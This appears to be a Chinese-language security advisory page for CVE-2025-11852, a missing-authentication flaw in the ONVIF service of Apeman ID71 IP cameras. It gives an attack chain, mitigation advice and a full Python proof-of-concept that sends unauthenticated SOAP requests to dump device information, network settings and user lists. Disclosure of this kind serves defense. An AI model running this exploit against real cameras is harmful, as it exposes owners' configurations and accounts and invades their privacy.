IPBUF安全漏洞报告
English
CVE-2025-11852 CVSS 5.3 中危

CVE-2025-11852:Apeman ID71摄像头ONVIF服务认证缺失漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-11852
漏洞类型
认证缺失/未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apeman ID71 IP Camera

相关标签

认证缺失未授权访问ONVIFIP摄像头ApemanIoT安全信息泄露CWE-306CWE-862

漏洞概述

CVE-2025-11852是Apeman ID71 IP摄像头(固件版本218.53.203.117)中ONVIF服务组件存在的一个认证缺失漏洞。该漏洞位于设备的/onvif/device_service接口中,由于未对访问请求进行充分的身份验证,远程攻击者可以在未经授权的情况下访问设备的ONVIF服务功能。ONVIF(Open Network Video Interface Forum)是一种用于IP视频监控设备的全球性开放接口标准,广泛应用于安防摄像头、网络录像机等设备中。该漏洞的CVSS 3.1评分为5.3,属于中危级别,攻击者通过网络即可发起攻击,无需任何认证或用户交互。攻击成功后,攻击者可以获取设备的敏感信息(如设备配置、网络参数、用户凭据等),但不会对设备的数据完整性和可用性造成直接影响。值得注意的是,该漏洞的发现者曾尝试联系厂商进行修复,但厂商未作出任何回应,且漏洞利用代码已在GitHub上公开发布(juliourena/APEMAN-Camera-PoCs仓库),使得该漏洞被利用的风险显著增加。该漏洞主要影响部署在家庭、小型企业等场景中的Apeman ID71摄像头用户,可能导致用户隐私泄露和监控数据被窃取。

技术细节

该漏洞的核心问题在于Apeman ID71摄像头的ONVIF服务组件中缺少必要的身份验证机制。ONVIF协议定义了多种Web服务接口,包括设备管理(device_service)、媒体服务(media_service)、事件服务(event_service)等。在正常的ONVIF实现中,访问这些服务接口需要进行WS-UsernameToken认证,即客户端需要提供有效的用户名和密码才能与服务端进行通信。然而,在Apeman ID71的固件版本218.53.203.117中,/onvif/device_service接口未正确实施认证检查,攻击者可以直接向该端点发送SOAP请求而无需提供任何凭据。攻击者可以利用此漏洞执行以下操作:1)通过GetDeviceInformation请求获取设备的制造商、型号、固件版本、序列号等基本信息;2)通过GetNetworkInterfaces请求获取设备的网络配置信息,包括IP地址、子网掩码、网关等;3)通过GetUsers请求枚举设备上的用户账户信息;4)通过GetCapabilities请求获取设备支持的功能列表。攻击者只需使用curl、wget等工具构造SOAP XML请求,发送到目标设备的80端口即可完成攻击。由于该漏洞不需要认证且可远程利用,攻击者可以通过互联网扫描存在该漏洞的摄像头设备,进行大规模的信息收集和后续攻击活动。

攻击链分析

STEP 1
步骤1:目标发现
攻击者通过互联网扫描(如Shodan、ZoomEye等)或局域网内扫描,识别运行ONVIF服务的Apeman ID71摄像头设备(默认开放80端口)。
STEP 2
步骤2:构造SOAP请求
攻击者构造符合ONVIF规范的SOAP XML请求(如GetDeviceInformation、GetNetworkInterfaces、GetUsers等),不携带任何认证凭据。
STEP 3
步骤3:发送未认证请求
攻击者通过HTTP POST方式向目标设备的/onvif/device_service端点发送SOAP请求,由于缺少认证检查,服务端直接处理请求并返回结果。
STEP 4
步骤4:信息提取
攻击者从响应中提取设备型号、固件版本、网络配置、用户列表等敏感信息,为后续攻击(如凭据爆破、固件提取、远程控制)做准备。
STEP 5
步骤5:后续利用
基于获取的信息,攻击者可进一步利用其他漏洞(如RTSP未认证访问)获取视频流,或利用泄露的凭据进行设备接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11852 - Apeman ID71 ONVIF Missing Authentication PoC # Exploits missing authentication in /onvif/device_service endpoint import requests import sys from xml.etree import ElementTree as ET TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" PORT = 80 ONVIF_ENDPOINT = f"http://{TARGET}:{PORT}/onvif/device_service" # SOAP request to GetDeviceInformation - no authentication required GET_DEVICE_INFO = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tds="http://www.onvif.org/ver10/device/wsdl" xmlns:tt="http://www.onvif.org/ver10/schema"> <soap:Header/> <soap:Body> <tds:GetDeviceInformation/> </soap:Body> </soap:Envelope>""" # SOAP request to get network interfaces GET_NETWORK_INTERFACES = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tds="http://www.onvif.org/ver10/device/wsdl" xmlns:tt="http://www.onvif.org/ver10/schema"> <soap:Header/> <soap:Body> <tds:GetNetworkInterfaces/> </soap:Body> </soap:Envelope>""" # SOAP request to get users list GET_USERS = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tds="http://www.onvif.org/ver10/device/wsdl" xmlns:tt="http://www.onvif.org/ver10/schema"> <soap:Header/> <soap:Body> <tds:GetUsers/> </soap:Body> </soap:Envelope>""" def exploit_onvif(target_url, soap_body, action): headers = { "Content-Type": "application/soap+xml; charset=utf-8", "SOAPAction": action } try: resp = requests.post(target_url, data=soap_body, headers=headers, timeout=10) if resp.status_code == 200: print(f"[+] Success - {action} response:") print(resp.text) return resp.text else: print(f"[-] Failed - Status code: {resp.status_code}") except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print(f"[*] Targeting Apeman ID71 camera at {TARGET}") print(f"[*] ONVIF endpoint: {ONVIF_ENDPOINT}") print("\n[1] Attempting GetDeviceInformation...") exploit_onvif(ONVIF_ENDPOINT, GET_DEVICE_INFO, "http://www.onvif.org/ver10/device/wsdl/GetDeviceInformation") print("\n[2] Attempting GetNetworkInterfaces...") exploit_onvif(ONVIF_ENDPOINT, GET_NETWORK_INTERFACES, "http://www.onvif.org/ver10/device/wsdl/GetNetworkInterfaces") print("\n[3] Attempting GetUsers...") exploit_onvif(ONVIF_ENDPOINT, GET_USERS, "http://www.onvif.org/ver10/device/wsdl/GetUsers")

影响范围

Apeman ID71 固件版本 218.53.203.117

防御指南

临时缓解措施
由于厂商未发布修复补丁,建议用户立即采取以下临时缓解措施:1)将摄像头从公网断开,部署在防火墙或NAT之后的内网中;2)在路由器或防火墙中配置访问控制列表(ACL),仅允许可信IP地址访问摄像头的ONVIF服务端口;3)使用网络隔离技术(如VLAN)将摄像头与其他关键设备隔离;4)定期检查摄像头访问日志,监控是否有异常的SOAP请求;5)考虑使用其他厂商提供的安全摄像头替代该产品。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表